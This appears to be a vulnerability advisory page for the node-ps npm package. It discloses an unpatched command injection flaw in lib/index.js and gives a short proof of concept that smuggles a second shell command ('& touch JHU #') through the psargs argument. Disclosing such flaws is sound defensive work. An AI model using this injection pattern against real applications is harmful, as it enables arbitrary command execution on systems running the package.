node-ps@0.0.2 vulnerabilities

A cross-platform node module for listing and searching running processes.

Direct Vulnerabilities

Known vulnerabilities in the node-ps package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • C
Command Injection

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 72 in lib/index.js.

PoC

var a =require("node-ps");
a.lookup({psargs:["& touch JHU #"]},function(){})

How to fix Command Injection?

There is no fixed version for node-ps.

*